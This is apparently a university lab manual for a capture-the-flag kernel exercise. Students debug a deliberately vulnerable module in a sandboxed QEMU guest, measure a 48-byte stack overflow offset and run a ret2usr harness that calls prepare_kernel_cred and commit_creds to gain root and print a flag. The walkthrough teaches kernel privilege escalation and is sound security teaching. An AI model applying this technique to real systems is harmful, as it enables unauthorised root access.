1. How this lab runs
This is a self-contained kernel lab on ierg4851. The target is a 32-bit Linux guest OS running inside a QEMU virtual machine; the ierg4851 server is only the host used to launch it. You work on the target assigned to your own Unix account, inspect one real vulnerable module, and finish by changing the credentials of a process inside the QEMU virtual machine.
- Work in order: each task produces the observation needed by the next task.
- Time: Tasks 1–3 take about 30 minutes; Tasks 4–5 are the exploit and flag run.
- Submission: redeem the exact guest flag with the scoring tools already installed in
~/ierg4851/contactless-ctf/. This lab does not use the web-lab port or another student's guest. - Safety: attack only your own disposable QEMU guest. Do not target the
ierg4851host.
| # | Task | What you learn | Level |
|---|---|---|---|
| 1 | Start the guest and trace the safe device | How a user write() reaches a module callback | Warm-up |
| 2 | Debug vuln_write() | Arguments, copy_from_user(), and the second copy | Required |
| 3 | Measure the stack frame | Why the overwrite reaches saved EIP | Required |
| 4 | Build the ret2usr request | Padding, user stub, credential primitives, and iret | Required |
| 5 | Run and submit | Privilege escalation, not just a crash | Flag |
2. Connect to the lab machine
Open two SSH terminals and connect both to ierg4851 with your own course Unix account:
ssh ierg4851
Use the same account in both terminals. Do not use another student's account, home directory, or guest port.
3. QEMU, the launcher, and the ports
QEMU is the emulator/virtual machine. It runs the
complete 32-bit x86 Linux 5.10 guest OS used in this lab.
The guest OS has its own kernel, modules, devices, processes, and root
filesystem inside QEMU. A kernel crash or a root shell stays inside that
QEMU virtual machine; it does not give access to the
ierg4851 server host.
ierg4851-kernel-lab is the course launcher. It selects the
guest state for your Unix account, starts QEMU with the teaching kernel and
modules, and assigns the debugging endpoint for your session. You do not
need to type a QEMU command line or choose an instance number.
In the first SSH terminal, run the normal launcher:
ierg4851-kernel-lab
After the normal run, stop it with Ctrl-C. Then start a fresh debug guest in the first terminal:
ierg4851-kernel-lab debug
The debug launcher prints output similar to:
account: u1155203181 assigned web-lab port: 9201 GDB: target remote 127.0.0.1:12341
| Value | Purpose | Use in this lab |
|---|---|---|
| Unix account | Chooses your private guest state | Use your own account |
| web-lab port | Printed by the shared launcher | Ignore it for this lab |
| GDB port | QEMU's kernel remote-debug endpoint on 127.0.0.1 | Use this exact port in target remote |
12341. Use the GDB port printed for your own debug session.4. Start your private guest
Inside the guest, confirm that you are an ordinary user and that the two teaching devices exist:
id ls -l /dev/ierg4851_demo /dev/ierg4851_vuln cat /usr/share/kernel-symbols
5. Task 1 — the safe device
Begin with the complete user-to-kernel path. A shell redirection still performs a real open() and write(); the important point is that the bytes originate in user memory.
printf 'hello from user space\n' > /dev/ierg4851_demo dmesg
Use the module's log line to connect the user operation to the callback:
user program → write(fd, user_buf, count) → i386 system-call entry → VFS resolves fd to struct file → file->f_op->write(file, user_buf, count, pos) → demo_write()
user_buf as an ordinary trusted pointer.6. Task 2 — debug the vulnerable callback
Keep the debug guest running in the first SSH terminal. In the second SSH terminal, connect GDB to the exact port printed by the launcher. Do not start a second QEMU guest:
GDB: target remote 127.0.0.1:YOUR_GDB_PORT
In the second terminal, connect with the matching port:
gdb /opt/ierg4851-kernel-lab/vmlinux
(gdb) set architecture i386 (gdb) target remote 127.0.0.1:YOUR_GDB_PORT (gdb) continue
After the guest shell is ready, read the module text address in the guest and load the module symbols in GDB:
cat /sys/module/ierg4851_vuln/sections/.text
If sysfs denies access for your student account, use the address exported by the guest init script:
cat /tmp/vuln-text-address
(gdb) add-symbol-file /opt/ierg4851-kernel-lab/ierg4851_vuln.ko TEXT_ADDRESS (gdb) break vuln_write (gdb) continue
In the first terminal, trigger the callback:
printf 'AAAA' > /dev/ierg4851_vuln
At the breakpoint, inspect the i386 arguments and follow the two copies. Your notes should distinguish:
buf: a pointer into the calling process's user address space;count: a caller-controlled length;staging: the 256-byte kernel buffer receivingcopy_from_user();tmp: the 32-byte kernel stack object receiving the latermemcpy().
copy_from_user(staging, buf, count) is not the overflow in this target, and why memcpy(tmp, staging, count) is.7. Task 3 — measure the real stack frame
Do not guess the offset from the C source or rely only on
p &tmp. For this compiled module, use the instruction that
computes the destination of the second copy. The relevant address is
ebp-0x2c; the saved return address is at
ebp+0x04.
(gdb) disassemble vuln_write (gdb) disassemble /r vuln_write.cold (gdb) info registers ebp esp (gdb) x/wx $ebp+4 (gdb) p/x $ebp-0x2c (gdb) p/d (long)($ebp+4) - (long)($ebp-0x2c)
Record these three values in your worksheet:
| Value | Your observation |
|---|---|
temporary object used by memcpy | $ebp - 0x2c = __________________ |
| saved return address | $ebp + 4 = ______________ |
| distance | saved_return - ($ebp - 0x2c) = ______ bytes |
Now explain the relevant frame layout:
lower addresses tmp[32] compiler padding / saved frame data saved EBP saved return EIP <-- control-flow target higher addresses
0x2c + 0x04 = 48.8. Task 4 — build the ret2usr request
The supplied harness maps a small user-space code stub, places the credential-transition logic in that stub, and writes the return-address overwrite through the vulnerable device. Run the symbol command in the guest shell, not on the ierg4851 host:
cat /usr/share/kernel-symbols
commit_creds ADDRESS_A prepare_kernel_cred ADDRESS_B
Use the address on the prepare_kernel_cred line as the
second argument, and the address on the commit_creds line as
the third argument. The first argument is the byte offset derived in Task
3. For example, if the guest prints:
c1089850 T commit_creds c1089a90 T prepare_kernel_cred
the student command is:
/usr/bin/ret2usr 48 0xc1089a90 0xc1089850
YOUR_PREPARE_KERNEL_CRED and
YOUR_COMMIT_CREDS are placeholders, not literal text and not
environment variables. Replace them with the addresses printed by your
own guest. If GDB is stopped at vuln_write when you run the
command, switch to the GDB terminal and type continue. The
expected student result is the guest flag, not an interactive shell.The payload has two parts: padding up to the saved return address, then the four-byte address of the user-space stub. The target is the saved return address in kernel space:
payload[0 .. OFFSET-1] = padding payload[OFFSET .. OFFSET+3] = address of USER_STUB write(fd, payload, OFFSET + 4)
After the overwritten return executes in kernel privilege, the stub calls prepare_kernel_cred(0), passes the result to commit_creds(), constructs an iret return frame, and returns to the user-space success function.
commit_creds() changes the security impact from control-flow redirection to privilege escalation.9. Task 5 — run the exploit and submit the flag
In the guest shell, run the parameterized harness only after you have recorded your own offset and symbols:
cat /usr/share/kernel-symbols /usr/bin/ret2usr YOUR_OFFSET YOUR_PREPARE_KERNEL_CRED YOUR_COMMIT_CREDS
Replace all three uppercase names with values from your own guest:
YOUR_OFFSET is the distance measured in Task 3,
YOUR_PREPARE_KERNEL_CRED is the address on the
prepare_kernel_cred line, and
YOUR_COMMIT_CREDS is the address on the
commit_creds line. They are placeholders, not literal
arguments. For the example symbols and offset 48, the exact command is:
/usr/bin/ret2usr 48 0xc1089a90 0xc1089850
If GDB is stopped at vuln_write, type
continue in the GDB terminal after starting the command.
The successful result is the account-specific guest flag printed in the
guest shell.
A successful student run prints your account-specific guest flag. Submit it using the scoring tools already installed in your home directory:
cd ~/ierg4851/contactless-ctf python3 score/keygen.py
Copy the address: printed by keygen.py. Then
copy the exact flag printed by the guest. It starts with
IERG4851_KERNEL_RET2USR_ and ends with eight hexadecimal
characters:
python3 score/redeem.py \ --flag IERG4851_KERNEL_RET2USR_<8 hex> \ --to YOUR_ADDRESS myscore
OK 250 is the receipt. The flag belongs to your Unix
account, so redeem your own flag to the address registered by your own
keygen.py. There is no separate form or Blackboard submission
for this in-class lab. Stop the guest with Ctrl-C after
redeeming.
The scoreboard listens on ierg4851 localhost only. From your
own computer, open a third terminal and create an SSH tunnel:
ssh -N -L 8080:127.0.0.1:8080 ierg4851
Then open http://127.0.0.1:8080/ in your browser and use
the IERG 4851 scoreboard username and password provided by the instructor.
Keep the tunnel running while viewing the board. Run myscore
on ierg4851 to see your own points and rank.
10. What to hand in during class
- One screenshot or transcript showing the safe-device request and log.
- Your GDB breakpoint and the
stagingversustmpexplanation. - Your measured offset calculation and the two kernel symbol values.
- The payload layout using symbolic names, plus the final guest flag and the
OK 250redemption receipt.
This page is the complete student lab manual. There is no separate checkpoint sheet.